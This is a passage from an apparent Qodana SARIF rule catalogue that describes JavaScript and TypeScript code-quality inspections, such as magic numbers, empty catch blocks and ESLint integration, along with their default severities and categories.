"defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionWithMultipleLoopsJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "LabeledStatementJS", "shortDescription": { "text": "Labeled statement" }, "fullDescription": { "text": "Reports a labeled statement.", "markdown": "Reports a labeled statement." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LabeledStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnusedCatchParameterJS", "shortDescription": { "text": "Unused 'catch' parameter" }, "fullDescription": { "text": "Reports a 'catch' parameter that is not used in the corresponding block. The 'catch' parameters named 'ignore' or 'ignored' are ignored. Use the checkbox below to disable this inspection for 'catch' blocks with comments.", "markdown": "Reports a `catch` parameter that is not used in the corresponding block. The `catch` parameters named `ignore` or `ignored` are ignored.\n\n\nUse the checkbox below to disable this inspection for `catch`\nblocks with comments." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnusedCatchParameterJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NpmUsedModulesInstalled", "shortDescription": { "text": "Missing module dependency" }, "fullDescription": { "text": "Reports a module from a 'require()' call or an 'import' statement that is not installed or is not listed in package.json dependencies. Suggests installing the module and/or including it into package.json. For 'require()' calls, works only in the files from the scope of Node.js Core JavaScript library.", "markdown": "Reports a module from a `require()` call or an `import` statement that is not installed or is not listed in package.json dependencies.\n\nSuggests installing the module and/or including it into package.json.\n\nFor `require()` calls, works only in the files from the scope of *Node.js Core* JavaScript library." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "NpmUsedModulesInstalled", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Imports and dependencies", "index": 42, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "WithStatementJS", "shortDescription": { "text": "'with' statement" }, "fullDescription": { "text": "Reports a 'with' statements. Such statements result in potentially confusing implicit bindings, and may behave strangely in setting new variables.", "markdown": "Reports a `with` statements. Such statements result in potentially confusing implicit bindings, and may behave strangely in setting new variables." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "WithStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSConstantReassignment", "shortDescription": { "text": "Attempt to assign to const or readonly variable" }, "fullDescription": { "text": "Reports reassigning a value to a constant or a readonly variable.", "markdown": "Reports reassigning a value to a constant or a readonly variable." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JSConstantReassignment", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptCheckImport", "shortDescription": { "text": "Unresolved imported name" }, "fullDescription": { "text": "Reports an unresolved name or binding in an 'import' declaration in TypeScript code.", "markdown": "Reports an unresolved name or binding in an `import` declaration in TypeScript code." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "TypeScriptCheckImport", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "MagicNumberJS", "shortDescription": { "text": "Magic number" }, "fullDescription": { "text": "Reports a \"magic number\" that is a numeric literal used without being named by a constant declaration. Magic numbers can result in code whose intention is unclear, and may result in errors if a magic number is changed in one code location but remains unchanged in another. The numbers 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, 1000, 0.0 and 1.0 are ignored.", "markdown": "Reports a \"magic number\" that is a numeric literal used without being named by a constant declaration. Magic numbers can result in code whose intention is unclear, and may result in errors if a magic number is changed in one code location but remains unchanged in another. The numbers 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, 1000, 0.0 and 1.0 are ignored." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "MagicNumberJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FunctionNamingConventionJS", "shortDescription": { "text": "Function naming convention" }, "fullDescription": { "text": "Reports a function whose name is too short, too long, or does not follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression for function names. Use the standard 'java.util.regex' format for regular expressions.", "markdown": "Reports a function whose name is too short, too long, or does not follow the specified regular expression pattern.\n\n\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\nfor function names. Use the standard `java.util.regex` format for regular expressions." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionNamingConventionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Naming conventions", "index": 46, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSXSyntaxUsed", "shortDescription": { "text": "JSX syntax used" }, "fullDescription": { "text": "Reports a usage of a JSX tag in JavaScript code.", "markdown": "Reports a usage of a JSX tag in JavaScript code." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JSXSyntaxUsed", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSJoinVariableDeclarationAndAssignment", "shortDescription": { "text": "Variable declaration can be merged with the first assignment to the variable" }, "fullDescription": { "text": "Reports a variable that is declared without an initializer and is used much further in the code or in a single nested scope. Suggests moving the variable closer to its usages and joining it with the initializer expression.", "markdown": "Reports a variable that is declared without an initializer and is used much further in the code or in a single nested scope. Suggests moving the variable closer to its usages and joining it with the initializer expression." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSJoinVariableDeclarationAndAssignment", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSRedundantSwitchStatement", "shortDescription": { "text": "'switch' statement is redundant and can be replaced" }, "fullDescription": { "text": "Reports a 'switch' statement with an empty body, or with only one 'case' branch, or with a 'default' branch only.", "markdown": "Reports a `switch` statement with an empty body, or with only one `case` branch, or with a `default` branch only." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSRedundantSwitchStatement", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Switch statement issues", "index": 47, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptLibrary", "shortDescription": { "text": "Missing global library" }, "fullDescription": { "text": "Reports a TypeScript library file that is required for a symbol but is not listed under the 'lib' compiler option in 'tsconfig.json'.", "markdown": "Reports a TypeScript library file that is required for a symbol but is not listed under the `lib` compiler option in `tsconfig.json`." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "TypeScriptLibrary", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptMissingAugmentationImport", "shortDescription": { "text": "Missing augmentation import" }, "fullDescription": { "text": "Reports a usage from augmentation module without an explicit import.", "markdown": "Reports a usage from [augmentation module](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation) without an explicit import." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptMissingAugmentationImport", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUnusedGlobalSymbols", "shortDescription": { "text": "Unused global symbol" }, "fullDescription": { "text": "Reports an unused globally accessible public function, variable, class, or property.", "markdown": "Reports an unused globally accessible public function, variable, class, or property." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSUnusedGlobalSymbols", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Unused symbols", "index": 15, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertModuleExportToExport", "shortDescription": { "text": "'module.exports' is used instead of 'export'" }, "fullDescription": { "text": "Reports a 'module.export' statement. Suggests replacing it with an 'export' or 'export default' statement. Please note that the quick-fix for converting 'module.export' into 'export' is not available for 'module.export' inside functions or statements because 'export' statements can only be at the top level of a module.", "markdown": "Reports a `module.export` statement. Suggests replacing it with an `export` or `export default` statement. \n\nPlease note that the quick-fix for converting `module.export` into `export` is not available for `module.export` inside functions or statements because `export` statements can only be at the top level of a module." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertModuleExportToExport", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DocumentWriteJS", "shortDescription": { "text": "Call to 'document.write()'" }, "fullDescription": { "text": "Reports a method call to 'document.write()' or 'document.writeln()'. Most usages of such calls are performed better with explicit DOM calls, such as 'getElementByID()' and 'createElement()'. Additionally, the 'write()' and 'writeln()' calls will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can result in difficulty to point out bugs.", "markdown": "Reports a method call to `document.write()` or `document.writeln()`. Most usages of such calls are performed better with explicit DOM calls, such as `getElementByID()` and `createElement()`. Additionally, the `write()` and `writeln()` calls will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can result in difficulty to point out bugs." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "DocumentWriteJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/DOM issues", "index": 48, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "AnonymousFunctionJS", "shortDescription": { "text": "Anonymous function" }, "fullDescription": { "text": "Reports an anonymous function. An explicit name of a function expression may be helpful for debugging. Ignores function expressions without names if they have a 'name' property specified in the ECMAScript 6 standard. For example, 'var bar = function() {};' is not reported.", "markdown": "Reports an anonymous function. An explicit name of a function expression may be helpful for debugging. Ignores function expressions without names if they have a `name` property specified in the ECMAScript 6 standard. For example, `var bar = function() {};` is not reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "AnonymousFunctionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "BlockStatementJS", "shortDescription": { "text": "Unnecessary block statement" }, "fullDescription": { "text": "Reports a block statement that is not used as the body of 'if', 'for', 'while', 'do', 'with', or 'try' statements, or as the body of a function declaration. Starting from ECMAScript 6, JavaScript blocks introduce new scopes for 'let' and 'const' variables, but still free-standing block statements may be confusing and result in subtle bugs when used with 'var' variables.", "markdown": "Reports a block statement that is not used as the body of `if`, `for`, `while`, `do`, `with`, or `try` statements, or as the body of a function declaration. Starting from ECMAScript 6, JavaScript blocks introduce new scopes for `let` and `const` variables, but still free-standing block statements may be confusing and result in subtle bugs when used with `var` variables." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "BlockStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ObjectAllocationIgnoredJS", "shortDescription": { "text": "Result of object allocation ignored" }, "fullDescription": { "text": "Reports object allocation where the result of the allocated object is ignored, for example, 'new Error();' as a statement, without any assignment. Such allocation expressions may indicate an odd object initialization strategy.", "markdown": "Reports object allocation where the result of the allocated object is ignored, for example, `new Error();` as a statement, without any assignment. Such allocation expressions may indicate an odd object initialization strategy." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ObjectAllocationIgnored", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "InfiniteRecursionJS", "shortDescription": { "text": "Infinite recursion" }, "fullDescription": { "text": "Reports a function which must either recurse infinitely or throw an exception. Such functions may not return normally.", "markdown": "Reports a function which must either recurse infinitely or throw an exception. Such functions may not return normally." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "InfiniteRecursionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NestedConditionalExpressionJS", "shortDescription": { "text": "Nested conditional expression" }, "fullDescription": { "text": "Reports a ternary conditional expression within another ternary condition. Such nested conditionals may be extremely confusing, and best replaced by more explicit conditional logic.", "markdown": "Reports a ternary conditional expression within another ternary condition. Such nested conditionals may be extremely confusing, and best replaced by more explicit conditional logic." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NestedConditionalExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSTypeOfValues", "shortDescription": { "text": "'typeof' comparison with non-standard value" }, "fullDescription": { "text": "Reports a comparison of a 'typeof' expression with a literal string which is not one of the standard types: 'undefined', 'object', 'boolean', 'number', 'string', 'function', or 'symbol'. Such comparisons always return 'false'.", "markdown": "Reports a comparison of a `typeof` expression with a literal string which is not one of the standard types: `undefined`, `object`, `boolean`, `number`, `string`, `function`, or `symbol`. Such comparisons always return `false`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSTypeOfValues", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "IncompatibleMaskJS", "shortDescription": { "text": "Incompatible bitwise mask operation" }, "fullDescription": { "text": "Reports a bitwise mask expression which for sure evaluates to 'true' or 'false'. Expressions are of the form '(var & constant1) == constant2' or '(var | constant1) == constant2', where 'constant1' and 'constant2' are incompatible bitmask constants. Example: '// Incompatible mask: as the last byte in mask is zero,\n// something like 0x1200 would be possible, but not 0x1234\nif ((mask & 0xFF00) == 0x1234) {...}'", "markdown": "Reports a bitwise mask expression which for sure evaluates to `true` or `false`. Expressions are of the form `(var & constant1) == constant2` or `(var | constant1) == constant2`, where `constant1` and `constant2` are incompatible bitmask constants.\n\nExample:\n\n\n // Incompatible mask: as the last byte in mask is zero,\n // something like 0x1200 would be possible, but not 0x1234\n if ((mask & 0xFF00) == 0x1234) {...}\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "IncompatibleBitwiseMaskOperation", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Bitwise operation issues", "index": 17, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TextLabelInSwitchStatementJS", "shortDescription": { "text": "Text label in 'switch' statement" }, "fullDescription": { "text": "Reports a labeled statement inside a 'switch' statement, which often results from a typo. Example: 'switch(x)\n {\n case 1:\n case2: //typo!\n case 3:\n break;\n }'", "markdown": "Reports a labeled statement inside a `switch` statement, which often results from a typo.\n\nExample:\n\n\n switch(x)\n {\n case 1:\n case2: //typo!\n case 3:\n break;\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TextLabelInSwitchStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Switch statement issues", "index": 47, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6PossiblyAsyncFunction", "shortDescription": { "text": "'await' in non-async function" }, "fullDescription": { "text": "Reports a usage of 'await' in a function that was possibly intended to be async but is actually missing the 'async' modifier. Although 'await' can be used as an identifier, it is likely that it was intended to be used as an operator, so the containing function should be made 'async'.", "markdown": "Reports a usage of `await` in a function that was possibly intended to be async but is actually missing the `async` modifier. Although `await` can be used as an identifier, it is likely that it was intended to be used as an operator, so the containing function should be made `async`." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6PossiblyAsyncFunction", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Async code and promises", "index": 49, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "EmptyCatchBlockJS", "shortDescription": { "text": "Empty 'catch' block" }, "fullDescription": { "text": "Reports an empty 'catch' block. This indicates that errors are simply ignored instead of handling them. Any comment in a 'catch' block mutes the inspection.", "markdown": "Reports an empty `catch` block. This indicates that errors are simply ignored instead of handling them. \n\nAny comment in a `catch` block mutes the inspection." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "EmptyCatchBlockJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSHint", "shortDescription": { "text": "JSHint" }, "fullDescription": { "text": "Reports a problem detected by the JSHint linter.", "markdown": "Reports a problem detected by the [JSHint](https://jshint.com/) linter." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JSHint", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code quality tools", "index": 51, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FlowJSFlagCommentPlacement", "shortDescription": { "text": "Misplaced @flow flag" }, "fullDescription": { "text": "Reports a '@flow' flag comment that is not located at the top of a file.", "markdown": "Reports a `@flow` flag comment that is not located at the top of a file." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FlowJSFlagCommentPlacement", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Flow type checker", "index": 12, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Eslint", "shortDescription": { "text": "ESLint" }, "fullDescription": { "text": "Reports a discrepancy detected by the ESLint linter. The highlighting is based on the rule severity specified in the ESLint configuration file for each individual rule. Clear the 'Use rule severity from the configuration file' checkbox to use the severity configured in this inspection for all ESLint rules.", "markdown": "Reports a discrepancy detected by the [ESLint](https://eslint.org) linter. \n\nThe highlighting is based on the rule severity specified in the [ESLint configuration file](https://eslint.org/docs/user-guide/configuring) for each individual rule. \n\nClear the 'Use rule severity from the configuration file' checkbox to use the severity configured in this inspection for all ESLint rules." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "Eslint", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code quality tools", "index": 51, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSDuplicatedDeclaration", "shortDescription": { "text": "Duplicate declaration" }, "fullDescription": { "text": "Reports multiple declarations in a scope.", "markdown": "Reports multiple declarations in a scope." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSDuplicatedDeclaration", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSEqualityComparisonWithCoercion.TS", "shortDescription": { "text": "Equality operator may cause type coercion" }, "fullDescription": { "text": "Reports a usage of equality operators may cause unexpected type coercions. Suggests replacing '==' or '!=' equality operators with type-safe '===' or '!==' operators. Depending on the option selected, one of the following cases will be reported: All usages of '==' and '!=' operators. All usages except comparison with null. Some code styles allow using 'x == null' as a replacement for 'x === null || x === undefined'. Only suspicious expressions, such as: '==' or '!=' comparisons with '0', '''', 'null', 'true', 'false', or 'undefined'.", "markdown": "Reports a usage of equality operators may cause unexpected type coercions. Suggests replacing `==` or `!=` equality operators with type-safe `===` or `!==` operators.\n\nDepending on the option selected, one of the following cases will be reported:\n\n* All usages of `==` and `!=` operators.\n* All usages except comparison with null. Some code styles allow using `x == null` as a replacement for `x === null || x === undefined`.\n* Only suspicious expressions, such as: `==` or `!=` comparisons with `0`, `''`, `null`, `true`, `false`, or `undefined`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "EqualityComparisonWithCoercionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSOctalInteger", "shortDescription": { "text": "Octal integer" }, "fullDescription": { "text": "Reports a deprecated octal integer literal prefixed with '0' instead of '0o'. Such literals are not allowed in modern ECMAScript code, and using them in the strict mode is an error. To force this inspection for ES5 and ES3 language levels, select the 'Warn about obsolete octal literals in ES5- code' checkbox below.", "markdown": "Reports a deprecated octal integer literal prefixed with `0` instead of `0o`. \nSuch literals are not allowed in modern ECMAScript code, and using them in the strict mode is an error. \nTo force this inspection for ES5 and ES3 language levels, select the 'Warn about obsolete octal literals in ES5- code' checkbox below." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JSOctalInteger", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ExceptionCaughtLocallyJS", "shortDescription": { "text": "Exception used for local control-flow" }, "fullDescription": { "text": "Reports a 'throw' statement whose exceptions are always caught by the containing 'try' statement. Using 'throw' statements as a 'goto' to change the local flow of control is confusing.", "markdown": "Reports a `throw` statement whose exceptions are always caught by the containing `try` statement. Using `throw` statements as a `goto` to change the local flow of control is confusing." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ExceptionCaughtLocallyJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ThrowFromFinallyBlockJS", "shortDescription": { "text": "'throw' inside 'finally' block" }, "fullDescription": { "text": "Reports s 'throw' statement inside a 'finally' block. Such 'throw' statements may mask exceptions thrown, and complicate debugging.", "markdown": "Reports s `throw` statement inside a `finally` block. Such `throw` statements may mask exceptions thrown, and complicate debugging." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ThrowInsideFinallyBlockJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptValidateGenericTypes", "shortDescription": { "text": "Incorrect generic type argument" }, "fullDescription": { "text": "Reports an invalid type argument in a function, interface, or class declaration.", "markdown": "Reports an invalid type argument in a function, interface, or class declaration." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "TypeScriptValidateGenericTypes", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CyclomaticComplexityJS", "shortDescription": { "text": "Overly complex function" }, "fullDescription": { "text": "Reports a function with too many branching points in a function (too high cyclomatic complexity). Such functions may be confusing and hard to test. Use the field provided below to specify the maximum acceptable cyclomatic complexity for a function.", "markdown": "Reports a function with too many branching points in a function (too high cyclomatic complexity). Such functions may be confusing and hard to test.\n\n\nUse the field provided below to specify the maximum acceptable cyclomatic complexity for a function." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "OverlyComplexFunctionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSMismatchedCollectionQueryUpdate", "shortDescription": { "text": "Mismatched query and update of collection" }, "fullDescription": { "text": "Reports a collection of fields or variables whose contents are either queried and not updated or updated and not queried. Such mismatched queries and updates are pointless and may indicate either dead code or a typographical error. Query methods are automatically detected, based on whether they return something, or a callback is passed to them. Use the table below to specify which methods are update methods.", "markdown": "Reports a collection of fields or variables whose contents are either queried and not updated or updated and not queried. Such mismatched queries and updates are pointless and may indicate either dead code or a typographical error.\n\n\nQuery methods are automatically detected, based on whether they return something, or a callback is passed to them.\nUse the table below to specify which methods are update methods." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSMismatchedCollectionQueryUpdate", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "PackageJsonMismatchedDependency", "shortDescription": { "text": "Mismatched dependencies in package.json" }, "fullDescription": { "text": "Reports a dependency from package.json that is not installed or doesn't match the specified version range.", "markdown": "Reports a dependency from package.json that is not installed or doesn't match the specified [version range](https://docs.npmjs.com/about-semantic-versioning)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "PackageJsonMismatchedDependency", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Imports and dependencies", "index": 42, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSPotentiallyInvalidUsageOfThis", "shortDescription": { "text": "Potentially invalid reference to 'this' from closure" }, "fullDescription": { "text": "Reports a 'this' in closure that is used for referencing properties of outer context. Example: 'function Outer() {\n this.outerProp = 1;\n function inner() {\n // bad, because 'outerProp' of Outer\n // won't be updated here\n // on calling 'new Outer()' as may be expected\n this.outerProp = 2;\n }\n inner();\n}'", "markdown": "Reports a `this` in closure that is used for referencing properties of outer context.\n\nExample:\n\n\n function Outer() {\n this.outerProp = 1;\n function inner() {\n // bad, because 'outerProp' of Outer\n // won't be updated here\n // on calling 'new Outer()' as may be expected\n this.outerProp = 2;\n }\n inner();\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSPotentiallyInvalidUsageOfThis", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSMissingSwitchDefault", "shortDescription": { "text": "'switch' statement has no 'default' branch" }, "fullDescription": { "text": "Reports a 'switch' statement without a 'default' clause when some possible values are not enumerated.", "markdown": "Reports a `switch` statement without a `default` clause when some possible values are not enumerated." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSMissingSwitchDefault", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Switch statement issues", "index": 47, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSXNamespaceValidation", "shortDescription": { "text": "Missing JSX namespace" }, "fullDescription": { "text": "Reports a usage of a JSX construction without importing namespace. Having the namespace in the file scope ensures proper code compilation.", "markdown": "Reports a usage of a JSX construction without importing namespace. Having the namespace in the file scope ensures proper code compilation." }, "defaultConfiguration": { 